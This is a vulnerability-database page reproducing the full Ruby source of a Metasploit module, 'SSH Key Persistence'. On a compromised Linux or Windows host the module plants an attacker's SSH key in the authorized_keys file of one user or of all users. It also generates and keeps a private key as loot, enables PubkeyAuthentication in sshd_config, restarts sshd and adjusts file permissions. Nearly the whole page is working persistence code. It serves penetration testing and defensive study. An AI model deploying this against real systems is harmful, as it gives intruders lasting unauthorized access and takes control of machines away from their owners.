Lucene search
K

SSH Key Persistence

🗓️ 27 Jan 2026 18:55:12Reported by h00die <[email protected]>, Dean Welch <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 408 Views

Adds SSH key for remote login; generates a 4096 bit key and stores the private key as loot.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'sshkey'

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Post::File
  include Msf::Post::Unix
  include Msf::Post::Windows::UserProfiles
  include Msf::Exploit::EXE
  include Msf::Exploit::Local::Persistence
  include Msf::Exploit::Deprecated
  moved_from 'post/linux/manage/sshkey_persistence'
  moved_from 'post/windows/manage/sshkey_persistence'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SSH Key Persistence',
        'Description' => %q{
          This module will add an SSH key to a specified user (or all), to allow
          remote login via SSH at any time. No payload is required for this module to work.

          If an SSH key is not provided, a new 4096 bit RSA keypair will be generated.
          The private key will be stored as loot for later use.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die <[email protected]>', # linux
          'Dean Welch <dean_welch[at]rapid7.com>' # windows
        ],
        'Platform' => %w[linux unix win], # this must be defined despite the module not using a payload
        'Arch' => ARCH_ALL, # doesn't matter because we don't use the payload
        'SessionTypes' => [ 'meterpreter', 'shell' ],
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1098_004_SSH_AUTHORIZED_KEYS],
          ['URL', 'https://learn.microsoft.com/en-us/windows-server/administration/openssh/openssh_keymanagement'],
          ['URL', 'https://learn.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse?tabs=gui&pivots=windows-10'],
          ['URL', 'https://stackoverflow.com/a/50502015']
        ],
        'Targets' => [
          [ 'Automatic', {} ]
        ],
        'DefaultTarget' => 0,

        'Stance' => Msf::Exploit::Stance::Aggressive,
        'Passive' => false,
        'DefaultOptions' => {
          'DisablePayloadHandler' => true, # since this is non-traditional persistence in that it isn't traditional event driven
          'PAYLOAD' => 'payload/generic/custom' # dummy payload to avoid issues
        },
        'DisclosureDate' => '1995-07-01', # ssh first release
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [EVENT_DEPENDENT],
          'SideEffects' => [CONFIG_CHANGES]
        }
      )
    )

    register_options([
      OptString.new('USERNAME', [false, 'User to add SSH key to (Default: all users on box)' ]),
      OptPath.new('PUBKEY', [false, 'Path to Public Key File to use. (Default: Create a new one)' ]),
      OptString.new('SSHD_CONFIG', [false, 'sshd_config file']),
      OptBool.new('CREATESSHFOLDER', [true, 'If no .ssh folder is found, create it for the target user', false ])
    ])

    deregister_options('WritableDir')
    deregister_options('PAYLOAD')
  end

  def check
    return CheckCode::Safe('sshd_config file not found') unless file?(sshd_config_file)

    enabled = pubkey_enabled?
    if enabled.nil?
      print_warning('Unable to determine if PubkeyAuthentication is enabled due to permission issues')
    elsif enabled == false
      return CheckCode::Safe("PubkeyAuthentication disabled in sshd_config and can't be enabled")
    end

    CheckCode::Appears('Likely vulnerable')
  end

  def sshd_config_file
    return datastore['SSHD_CONFIG'] if !datastore['SSHD_CONFIG'].nil? && datastore['SSHD_CONFIG'].empty?

    if session.platform == 'windows'
      'C:\ProgramData\ssh\sshd_config'
    else # assume *nix
      '/etc/ssh/sshd_config'
    end
  end

  def target_admin_user?
    !datastore['USERNAME'].nil? && ['root', 'administrator', 'admin'].include?(datastore['USERNAME'].downcase)
  end

  def set_pub_key_file_permissions(file, username = nil)
    if session.platform == 'windows'
      return unless target_admin_user?

      cmd_exec("icacls #{file} /inheritance:r")
      cmd_exec("icacls #{file} /grant SYSTEM:(F)")
      cmd_exec("icacls #{file} /grant BUILTIN\\Administrators:(F)")
    else
      chmod(file, 0o600)
      unless username.nil?
        cmd_exec("chown #{username}:#{username} #{file}")
      end
    end
  end

  def windows_service_owner
    service_info = cmd_exec('sc qc sshd')
    /SERVICE_START_NAME\s+: (?<owner>.+)/ =~ service_info
    owner
  end

  def write_key(paths, auth_key_file, sep)
    if datastore['PUBKEY'].nil?
      key = SSHKey.generate(bits: 4096) # https://github.com/bensie/sshkey/issues/41
      our_pub_key = key.ssh_public_key
      private_key_path = store_loot('id_rsa', 'text/plain', session, key.private_key, 'ssh_id_rsa', 'OpenSSH Private Key File')
      print_good("Storing new private key as #{private_key_path}. Change the permissions to 600 before using it")
    else
      our_pub_key = ::File.read(datastore['PUBKEY'])
    end

    paths.each do |path|
      path.chomp!
      authorized_keys = "#{path}#{sep}#{auth_key_file}"
      next unless file?(authorized_keys)

      # make a backup of the authorized_keys file so we can add it to the restore rc
      auth_keys_backup = read_file(authorized_keys)
      loot_path = store_loot('authorized_keys', 'text/plain', session, auth_keys_backup, 'authorized_keys', 'SSH Authorized Keys File')
      @clean_up_rc << "upload #{loot_path} #{authorized_keys}\n"
      # start exploiting
      print_status("Adding key to #{authorized_keys}")
      append_file(authorized_keys, "\n#{our_pub_key}")
      set_pub_key_file_permissions(authorized_keys)
      print_good "Persistence installed! Call a shell using 'ssh -i #{private_key_path} <username>@#{session.session_host}'"
      print_good 'use auxiliary/scanner/ssh/ssh_login'
      print_good "  run KEY_PATH=#{private_key_path} RHOSTS=#{session.session_host} USERNAME=<username>"
      next unless datastore['PUBKEY'].nil?

      path_array = path.split(sep)
      path_array.pop
      user = path_array.pop
      credential_data = {
        origin_type: :session,
        session_id: session.db_record ? session.db_record.id : nil,
        post_reference_name: refname,
        private_type: :ssh_key,
        private_data: key.private_key.to_s,
        username: user,
        workspace_id: myworkspace_id
      }

      create_credential(credential_data)
    end
  end

  def pubkey_enabled?
    print_status('Checking SSH Permissions')
    if session.platform != 'windows' && !readable?(sshd_config_file)
      return nil
    end

    sshd_config = read_file(sshd_config_file)
    return nil if sshd_config.nil? || sshd_config.empty? # should catch permission errors

    if /^#?\s*PubkeyAuthentication\s+(?<pub_key>yes|no)/ =~ sshd_config
      # If the line exists, check if it's commented or explicitly "no"
      if sshd_config =~ /^#\s*PubkeyAuthentication/ || pub_key == 'no'
        print_error('Pubkey Authentication disabled')
        enable_pub_key_auth(sshd_config)
        if read_file(sshd_config_file) == sshd_config
          print_bad('Unable to reconfigure sshd_config to enable PubkeyAuthentication')
          return false
        else
          print_good('PubkeyAuthentication enabled successfully')
        end
      else
        vprint_good("Pubkey set to #{pub_key}")
      end
    else
      # No PubkeyAuthentication line found at all — treat as disabled
      print_error('Pubkey Authentication not found, assuming disabled')
      enable_pub_key_auth(sshd_config)
    end

    # also check if the windows admin keys are enabled. See Testing Notes in markdown docs for more info
    if session.platform == 'windows' && sshd_config !~ /^(\s*#)\s*(Match Group administrators|AuthorizedKeysFile)/ && !target_admin_user?
      fail_with(Failure::BadConfig, "Admin AuthorizedKeysFile enabled, please 'set username admin' to use this module")
    end

    true
  end

  def enable_pub_key_auth(sshd_config)
    vprint_status('Attempting to enable pubkey authentication in sshd_config')
    loot_path = store_loot('sshd_config', 'text/plain', session, sshd_config, 'sshd_config', 'SSH Server Configuration')
    @clean_up_rc << "upload #{loot_path} #{sshd_config_file}\n"
    sshd_config = sshd_config.sub(/^\s*#?\s*PubkeyAuthentication\s+.*/i, 'PubkeyAuthentication yes')
    write_file(sshd_config_file, sshd_config)
    if session.platform == 'windows'
      cmd_exec('net stop "OpenSSH SSH Server"')
      cmd_exec('net start "OpenSSH SSH Server"')
    else
      cmd_exec('systemctl restart sshd || service sshd restart || service ssh restart')
    end
  end

  def authorized_keys_file
    print_status('Determining authorized_keys file')
    if session.platform == 'windows' && target_admin_user?
      return 'administrators_authorized_keys'
    end
    if session.platform != 'windows' && !readable?(sshd_config_file)
      return nil
    end

    sshd_config = read_file(sshd_config_file)
    return nil if sshd_config.nil? || sshd_config.empty? # should catch permission errors. Prefer this over readable? since windows isn't supported

    %r{^AuthorizedKeysFile\s+(?<auth_key_file>[\w%/.]+)} =~ sshd_config
    if auth_key_file
      auth_key_file = auth_key_file.gsub('%h', '')
      auth_key_file = auth_key_file.gsub('%%', '%')
      if auth_key_file.start_with? '/'
        auth_key_file = auth_key_file[1..]
      end
    else
      auth_key_file = ".ssh#{sep}authorized_keys"
    end
    print_status("Authorized Keys File: #{auth_key_file}")
    auth_key_file
  end

  def sep
    if session.type == 'meterpreter'
      return session.fs.file.separator
    elsif session.platform == 'windows'
      return '\\'
    end

    return '/'
  end

  def find_user_folders(auth_key_folder)
    paths = []
    # all users
    if datastore['USERNAME'].nil?
      if session.platform == 'windows'
        paths = grab_user_profiles.map { |d| "#{d['ProfileDir']}#{sep}#{auth_key_folder}" }
      else # assume *nix
        paths = enum_user_directories.map { |d| "#{d}#{sep}#{auth_key_folder}" }
      end
    # admin user
    elsif target_admin_user?
      if session.platform == 'windows'
        paths = ['C:\ProgramData\ssh']
      else # assume *nix
        paths = ["/#{datastore['USERNAME']}/#{auth_key_folder}"]
      end
    # specific user
    elsif session.platform == 'windows'
      user_profile = grab_user_profiles.find { |profile| profile['UserName'] == datastore['USERNAME'] }
      if user_profile
        paths = ["#{user_profile['ProfileDir']}#{sep}#{auth_key_folder}"]
      else
        print_error("User #{datastore['USERNAME']} not found")
      end
    else # assume *nix
      user_profile = enum_user_directories.find { |profile| profile.split(sep)[1] == datastore['USERNAME'] }
      if user_profile
        paths = ["#{user_profile['ProfileDir']}#{sep}#{auth_key_folder}"]
      else
        print_error("User #{datastore['USERNAME']} not found")
      end
    end
    paths.map! { |p| p.delete("\r\n") }
    paths
  end

  def install_persistence
    auth_key_file = authorized_keys_file
    unless auth_key_file
      print_warning('Unable to determine authorized_keys file due to permission issues, using default .ssh/authorized_keys')
      auth_key_file = ".ssh#{sep}authorized_keys"
    end
    # ironically windows default ssh config file has .ssh/authorized_keys so we can't trust the windows sep here
    auth_key_folder = auth_key_file.split(%r{[/\\]+}).reject(&:empty?)[0...-1].join(sep)
    auth_key_file = auth_key_file.split(%r{[/\\]+}).reject(&:empty?).last
    home_folders = find_user_folders(auth_key_folder)
    vprint_status("Found #{home_folders.length} potential user folders")

    # double check all the folders and files exist that we need
    home_folders = home_folders.select do |d|
      authorized_keys_path = "#{d}#{sep}#{auth_key_file.split(sep).last}"
      d_exists = directory?(d)

      if !d_exists && !datastore['CREATESSHFOLDER']
        print_warning("No .ssh folder found for #{d}, skipping...")
        false
      elsif !d_exists
        if session.platform == 'windows'
          session.fs.dir.mkdir(d)
        else
          cmd_exec("mkdir -m 700 -p #{d}")
          cmd_exec("chown #{d.split(sep)[-2]}:#{d.split(sep)[-2]} #{d}")
        end
        @clean_up_rc << "rmdir #{d}\n"
      end

      f_exists = file?(authorized_keys_path)
      if !f_exists && !datastore['CREATESSHFOLDER']
        print_warning("No #{authorized_keys_path} file found, skipping...")
        false
      elsif !f_exists
        unless write_file(authorized_keys_path, '')
          print_warning("Unable to create #{authorized_keys_path}, skipping...")
          false
        end
        if session.platform == 'windows'
          set_pub_key_file_permissions(authorized_keys_path)
        else
          set_pub_key_file_permissions(authorized_keys_path, d.split(sep)[-2])
        end
      end
      true
    end

    vprint_status("Found #{home_folders.length} confirmed user folders")

    if home_folders.nil? || home_folders.empty?
      fail_with(Failure::NotFound, "No users found with a #{auth_key_file} directory. Try setting CREATESSHFOLDER to true.")
    end

    write_key(home_folders, auth_key_file, sep)
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jul 2026 19:01Current
5.8Medium risk
Vulners AI Score5.8
408